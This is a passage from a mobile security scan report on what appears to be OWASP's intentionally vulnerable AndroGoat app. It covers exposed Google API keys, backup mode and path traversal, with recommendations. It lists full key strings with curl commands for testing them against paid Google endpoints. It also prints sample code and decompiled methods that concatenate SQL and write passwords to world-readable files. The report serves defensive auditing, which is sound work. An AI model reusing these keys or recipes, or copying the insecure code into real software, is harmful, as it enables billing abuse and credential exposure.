| Timezone | ❌ | $5/1.000 reqs | curl https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&timestamp=1331161200&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
| Nearest Roads | ❌ | $10/1.000 reqs | curl https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795\|60.170879,24.942796\|60.170877,24.942796&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD |
| Geolocation | ❌ | $5/1.000 reqs | curl https://www.googleapis.com/geolocation/v1/geolocate?key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
| Route to Traveled | ❌ | $10/1.000 reqs | curl https://roads.googleapis.com/v1/snapToRoads?path=-35.27801,149.12958\|-35.28032,149.12907&interpolate=true&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
| Place Details | ❌ | $17/1.000 reqs | curl https://maps.googleapis.com/maps/api/place/details/json?place_id=ChIJN1t_tDeuEmsRUsoyG83frY4&fields=name,rating&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
| Speed Limit-Roads | ❌ | $20/1.000 reqs | curl https://roads.googleapis.com/v1/speedLimits?path=38.75807927603043,-9.03741754643809&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
| Nearby Search-Places | ❌ | $32/1.000 reqs | curl https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=-33.8670522,151.1957362&radius=100&types=food&name=harbour&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7uj |
| Text Search-Places | ❌ | $2.83/1.000 reqs | curl https://maps.googleapis.com/maps/api/place/queryautocomplete/json?input=pizza+nearpar&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
| Playable Locations | ❌ | $10/1.000 reqs | curl https://playablelocations.googleapis.com/v3:samplePlayableLocations?key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1 |
| Google Custom Search | ❌ | $5/1.000 reqs | curl https://www.googleapis.com/customsearch/v1?key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o&cx=016017638605632953755:bggehv7mz6y&q=test |
| Firebase Cloud Messaging | ❌ | NA | curl -i -s -X POST --header "Authorization: key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o" --header "Content-Type:applicati 'https://fcm.googleapis.com/fcm/send' -d '{"registration_ids": ["1"]}' |

Finding #4

### Secret Detected: Google Cloud API Key

**File:** `https://www.googleapis.com:443//experimentsandconfigs/v1/getExperimentsAndConfigs?r=1&c=1`

**Detected Secret:** `AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKIp_w`

| API | Valid | Cost | Check |
|---|---|---|---|
| Staticmap | ❌ | $2/1.000 reqs | curl https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKIp_w |
| maps | ❌ | $7/1.000 reqs | curl https://maps.googleapis.com/maps/api/js?key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKIp_w |

| API | Valid | Cost | Check |
| --- | --- | --- | --- |
| Streetview | ❌ | $7/1.000 reqs | curl https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6 |
| Directions | ❌ | $5/1.000 reqs | curl https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w |
| Geocode | ❌ | $5/1.000 reqs | curl https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w |
| Find Place From Text | ❌ | $17/1.000 reqs | curl https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum&inputtype=textquery&fields=formatted_address,name&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w |
| Autocomplete | ❌ | $2.83/1.000 reqs | curl https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=(cities)&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w |
| Elevation | ❌ | $5/1.000 reqs | curl https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w |
| Timezone | ❌ | $5/1.000 reqs | curl https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&timestamp=1331161200&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w |
| Nearest Roads | ❌ | $10/1.000 reqs | curl https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795\|60.170879,24.942796\|60.170877,24.942796&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp |
| Geolocation | ❌ | $5/1.000 reqs | curl https://www.googleapis.com/geolocation/v1/geolocate?key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w |
| Route to Traveled | ❌ | $10/1.000 reqs | curl https://roads.googleapis.com/v1/snapToRoads?path=-35.27801,149.12958\|-35.28032,149.12907&interpolate=true&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w |
| Place Details | ❌ | $17/1.000 reqs | curl https://maps.googleapis.com/maps/api/place/details/json?place_id=ChIJN1t_tDeuEmsRUsoyG83frY4&fields=name,rating&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w |
| Speed Limit-Roads | ❌ | $20/1.000 reqs | curl https://roads.googleapis.com/v1/speedLimits?path=38.75807927603043,-9.03741754643809&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w |
| Nearby Search-Places | ❌ | $32/1.000 reqs | curl https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=-33.8670522,151.1957362&radius=100&types=food&name=harbour&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkK |
| Text Search-Places | ❌ | $2.83/1.000 reqs | curl https://maps.googleapis.com/maps/api/place/queryautocomplete/json?input=pizza+nearpar&key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w |
| Playable Locations | ❌ | $10/1.000 reqs | curl https://playablelocations.googleapis.com/v3:samplePlayableLocations?key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_ |
| Google Custom Search | ❌ | $5/1.000 reqs | curl https://www.googleapis.com/customsearch/v1?key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w&cx=016017638605632953755:bggehv7mz6y&q=test |
| Firebase Cloud Messaging | ❌ | NA | curl -i -s -X POST --header "Authorization: key=AIzaSyAT_K5X0a1_ong7AZgtdm4SX6_FwkKlp_w" --header "Content-Type:applicat 'https://fcm.googleapis.com/fcm/send' -d '{"registration_ids": ["1"]}' |

### Recommendation

Sensitive data should never be included with the application itself. Instead, secure methods for encrypting, storing, and retrieving credentials for your services should be used to access this data as needed.

To prevent the risk of overbilling, consider implementing API key pinning or using authenticated APIs for services with potentially high usage costs. API key pinning helps to restrict the use of a key to a specific application by requiring a cryptographic signature, and it can be enabled by the service provider (e.g., Google Maps).

For keys that may allow unauthorized access, it is important to restrict permissions and roles to non-critical functions, or to expose the service through an authenticated API.

To further enhance security, the API should also have proper access controls and rate-limiting in place, and keys should be rotated regularly to prevent unauthorized use.

### References

- API Security Best Practices
- Best practices for securely using API keys

- CWE-200: Data Exposure
- CWE-259: Use of Hard-coded Password
- What Is AWS Secrets Manager?
- $450k Google Cloud API Key Compromise

---

POTENTIALLY **37. Backup mode enabled**

**CVSS v3:** 3.9

Application is enabling backup mode.

Backup mode is a feature in Android that allows users to backup and restore data and settings from one device to another. By default, Android performs a full backup of applications including the private files stored on `/data` partition. When backup mode is enabled on an Android device, the **Backup Manager Service** will periodically upload data and settings to the user's Google Drive account, such as app data, Wi-Fi passwords, and other settings. This data can then be restored to the same device, or a different device if the user signs in to the same Google account.

Here are some key features of the Backup Manager Service in Android:

1. *Automatic backup*: The Backup Manager Service automatically backs up app data at regular intervals, typically once a day. It can also trigger backups when specific events occur, such as when a device is connected to a power source or when the user manually initiates a backup.
2. *Incremental backups*: The Backup Manager Service performs incremental backups, meaning it only backs up data that has changed since the last backup. This helps reduce the backup size and speed up the backup process.
3. *Encrypted backups*: Backups created by the Backup Manager Service are encrypted with a key unique to each user's device, ensuring that only the user or someone with their Google account credentials can access the backup data.
4. *App-specific backups*: The Backup Manager Service allows apps to specify which data should be backed up and which data should be excluded from backups. This can help reduce the size of backups and ensure that sensitive data is not included.
5. *Restore functionality*: The Backup Manager Service also provides a restore functionality that allows users to restore their app data to a new or factory-reset device, or to restore data to an existing device after an app has been uninstalled and reinstalled.

### Technical Details

Finding #1

The `allowBackup` attribute is set to `true` .

```
<application xmlns:android="http://schemas.android.com/apk/res/android" android:theme="@7F0C0005" android:label="@7F0B0036"
android:icon="@7F0A0000" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true"
android:networkSecurityConfig="@7F0E0000" android:roundIcon="@7F0A0002">
```

### Recommendation

In your app manifest file, set the attribute `android:allowBackup` to enable or disable backup. The default value is true but to make your intentions clear, it is recommended to explicitly set the attribute in the application's manifest as shown below:

XML

```
    <manifest>
        <application android:allowBackup="true">
        </application>
    </manifest>
```

If the application contains sensitive data that you don't want to be backed up or restored, you can disable backup mode by setting the attribute `android:allowBackup` to false as shown below:

XML

```
    <manifest>
        <application android:allowBackup="false">
        </application>
    </manifest>
```

### CVSS Vector Details

| | |
|---|---|
| CVSS V3 Vector: | `CVSS:3.0/AV:P/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N` |
| Attack Vector: | Network (N) · Adjacent (A) · Local (L) · **Physical (P)** |
| Attack Complexity: | **Low (L)** · High (H) |
| Privileges Required: | None (N) · Low (L) · **High (H)** |
| User Interaction: | **None (N)** · Required (R) |
| Scope: | Changed (C) · **Unchanged (U)** |
| Confidentiality: | **High (H)** · Low (L) · None (N) |
| Integrity: | High (H) · Low (L) · **None (N)** |
| Availability: | High (H) · Low (L) · **None (N)** |

### References

- Random Musings on the M Developer Preview: the Ugly (Part Two)
- DRD22. Do not cache sensitive information

---

POTENTIALLY

## 38. File Path Traversal

The presence of a path traversal in the application signifies a vulnerability, whereby an attacker gains the ability to manipulate a portion of the file path. This manipulated path is subsequently utilized by the filesystem APIs without undergoing proper validation or scrutiny.

An application can allow an attacker to navigate through the file system beyond the intended boundaries. This can lead to unauthorized access to sensitive files or directories. By manipulating file paths, an attacker can bypass access controls and retrieve or modify critical data, such as configuration files, user credentials, or confidential documents. This vulnerability poses a significant threat as it enables the attacker to escalate privileges, execute arbitrary code, or launch further attacks on the system.

DART

```
import 'package:file/local.dart';

void main() {
  var file = new LocalFileSystem();
  var f = file.file("../../passwords.txt");
  f.copy("pass.txt");
}

// Or changing the root of the current running process:

import 'package:file/file.dart';
import 'package:file/chroot.dart';
import 'package:file/local.dart';
import 'package:path/path.dart' as path;

void main() {
  final String root = path.canonicalize("../../..");
  final FileSystem newRoot = new ChrootFileSystem(
  const LocalFileSystem(),
  root,
);
```

SWIFT

```
import Foundation

func readSensitiveFile(fileURL: URL) -> String? {
    let fileManager = FileManager.default
    let fileContents = fileManager.contents(atPath: fileURL.path)

    return String(data: fileContents!, encoding: .utf8)
}

func main() {
    let userDirectory = FileManager.default.homeDirectoryForCurrentUser
```

```
    let userInput = "/path/to/user/input.txt"
    let fileURL = userDirectory.appendingPathComponent(userInput)

    if let contents = readSensitiveFile(fileURL: fileURL) {
        print("File contents: \(contents)")
    } else {
        print("Failed to read file.")
    }
}

main()
```

KOTLIN

```
import java.io.File

fun readFile(filePath: String): String {
    val file = File("/var/www/files/$filePath")
    return file.readText()
}

fun main() {
    println("Enter the file name:")
    val fileName = readLine()

    try {
        val content = readFile(fileName!!)
        println("File content: $content")
    } catch (e: Exception) {
        println("Error: ${e.message}")
    }
}
```

### Technical Details

#### Finding #1

Call to filesystem access method using path from input method. Taint traced from non-reachable component: `owasp.sat.agoat.SQLinjectionActivity` found at `owasp.sat.agoat.SQLinjectionActivity` . From parameter `0` to sink `android.database.sqlite.SQLiteDatabase` `owasp.sat.agoat.SQLinjectionActivity.openOrCreateDatabase(java.lang.String, int, android.database.sqlite.SQLiteDatabase$CursorFactory)` . Taint trace:

```
at owasp.sat.agoat.SQLinjectionActivity.openOrCreateDatabase()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.<init>()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
at android.support.v7.app.AppCompatActivity.onCreate()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p9)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(SELECT * FROM users WHERE username=');
        String v1_6 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_6, username);
        v0_1.append(v1_6.getText().toString());
        v0_1.append(');
        String v0_2 = v0_1.toString();
        try {
            owasp.sat.agoat.SQLinjectionActivity.access$setMDB$p(this.this$0, this.this$0.openOrCreateDatabase(aGoat, 0, 0));
            android.database.Cursor v3_2 = owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p(this.this$0);
        } catch (boolean v2_13) {
            android.database.Cursor v3_5 = new StringBuilder();
            v3_5.append(Error occurred when inserting data into database: );
            v3_5.append(v2_13.getMessage());
            android.util.Log.d(Error, v3_5.toString());
            android.database.Cursor v3_8 = this.this$0.getApplicationContext();
            StringBuilder v4_10 = new StringBuilder();
            v4_10.append(Data not saved: Error occured - );
```

```
            v4_10.append(v2_13.getMessage());
            android.widget.Toast.makeText(v3_8, ((CharSequence) v4_10.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v3_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        android.database.Cursor v3_3 = v3_2.rawQuery(v0_2, 0);
        StringBuilder v4_5 = new StringBuilder();
        if (v3_3 == null) {
            String v5_13 = new StringBuilder();
            v5_13.append(User: ();
            android.widget.EditText v6_2 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v6_2, username);
            v5_13.append(v6_2.getText().toString());
            v5_13.append() not found);
            v4_5.append(v5_13.toString());
        } else {
            if (v3_3.getCount() > 0) {
                v3_3.moveToFirst();
                do {
                    boolean v2_5 = new StringBuilder();
                    v2_5.append(Username: ();
                    v2_5.append(v3_3.getString(1));
                    v2_5.append() password: ();
                    v2_5.append(v3_3.getString(2));
                    v2_5.append()
);
                    v4_5.append(v2_5.toString());
                } while(v3_3.moveToNext());
            } else {
            }
        }
        android.widget.Toast.makeText(((android.content.Context) this.this$0), ((CharSequence) v4_5.toString()), 1).show();
        android.util.Log.e(Error:, v4_5.toString());
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.<init>()` :

```
    SQLinjectionActivity$onCreate$1(owasp.sat.agoat.SQLinjectionActivity p1, android.widget.EditText p2)
    {
        this.this$0 = p1;
        this.$username = p2;
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
```

```
        return;
    }
```

Method `android.support.v7.app.AppCompatActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        android.support.v7.app.AppCompatDelegate v0 = this.getDelegate();
        v0.installViewFactory();
        v0.onCreate(p5);
        if ((v0.applyDayNight()) && (this.mThemeId != 0)) {
            if (android.os.Build$VERSION.SDK_INT < 23) {
                this.setTheme(this.mThemeId);
            } else {
                this.onApplyThemeResource(this.getTheme(), this.mThemeId, 0);
            }
        }
        super.onCreate(p5);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
        return;
    }
```

### Finding #2

Call to filesystem access method using path from input method. Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From parameter `0` to sink `void java.io.FileWriter.<init>(java.io.File)` . Taint trace:

```
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at java.io.FileWriter.write()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
```

```
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
```

```
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
```

```
((android.widget.EditText) this.findViewById(2131165303))));
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.<init>()` :

```
    InsecureStorageSDCardActivity$onCreate$1(owasp.sat.agoat.InsecureStorageSDCardActivity p1, android.widget.EditText p2,
android.widget.EditText p3)
    {
        this.this$0 = p1;
        this.$username = p2;
        this.$password = p3;
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303))));
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303))));
        return;
    }
```

### Finding #3

Call to filesystem access method using path from input method. Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageTempActivity` found at `owasp.sat.agoat.InsecureStorageTempActivity` . From parameter `0` to sink `void java.io.FileWriter.<init>(java.io.File)` . Taint trace:

```
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()
at java.io.FileWriter.write()
at owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageTempActivity.onCreate()
at owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.<init>()
at owasp.sat.agoat.InsecureStorageTempActivity.onCreate()
at owasp.sat.agoat.InsecureStorageTempActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        try {
            android.content.Context v2_0 = java.io.File.createTempFile(users, tmp, new java.io.File(this.this$0.getApplicationInfo().dataDir));
            v2_0.setReadable(1);
```

```
            v2_0.setWritable(1);
            CharSequence v3_1 = new java.io.FileWriter(v2_0);
            CharSequence v4_1 = new StringBuilder();
            v4_1.append(username is );
            String v5_1 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_1, username);
            v4_1.append(v5_1.getText().toString());
            v4_1.append(
);
            v3_1.write(v4_1.toString());
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(password is );
            String v5_5 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_5, password);
            v4_4.append(v5_5.getText().toString());
            v4_4.append(
);
            v3_1.write(v4_4.toString());
            v3_1.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (Exception v0_5) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data not saved), 1).show();
            v0_5.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        try {
            android.content.Context v2_0 = java.io.File.createTempFile(users, tmp, new java.io.File(this.this$0.getApplicationInfo().dataDir));
            v2_0.setReadable(1);
            v2_0.setWritable(1);
            CharSequence v3_1 = new java.io.FileWriter(v2_0);
            CharSequence v4_1 = new StringBuilder();
            v4_1.append(username is );
            String v5_1 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_1, username);
            v4_1.append(v5_1.getText().toString());
            v4_1.append(
);
            v3_1.write(v4_1.toString());
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(password is );
            String v5_5 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_5, password);
            v4_4.append(v5_5.getText().toString());
            v4_4.append(
);
            v3_1.write(v4_4.toString());
            v3_1.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (Exception v0_5) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data not saved), 1).show();
            v0_5.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        try {
            android.content.Context v2_0 = java.io.File.createTempFile(users, tmp, new java.io.File(this.this$0.getApplicationInfo().dataDir));
            v2_0.setReadable(1);
            v2_0.setWritable(1);
            CharSequence v3_1 = new java.io.FileWriter(v2_0);
            CharSequence v4_1 = new StringBuilder();
            v4_1.append(username is );
            String v5_1 = this.$username;
```

```
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_1, username);
            v4_1.append(v5_1.getText().toString());
            v4_1.append(
);
            v3_1.write(v4_1.toString());
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(password is );
